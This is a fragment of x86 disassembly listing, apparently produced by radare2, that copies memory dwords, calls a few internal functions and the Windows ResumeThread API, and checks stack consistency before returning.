add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_ResumeThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53e575
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [0x7ad2f9]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53e597
push 6
call fcn.005fffca
add esp, 4
mov eax, 1
jmp 0x53e5a1
push eax
mov ebx, dword [ebp - 0xc]
push ebx
add ebx, 0x1c
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 0x1c
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.005fffbe
add esp, 4
pop ebx
call fcn.005fffbe
add esp, 4
pop ebx
call fcn.005fffbe
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53e5de
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 0x20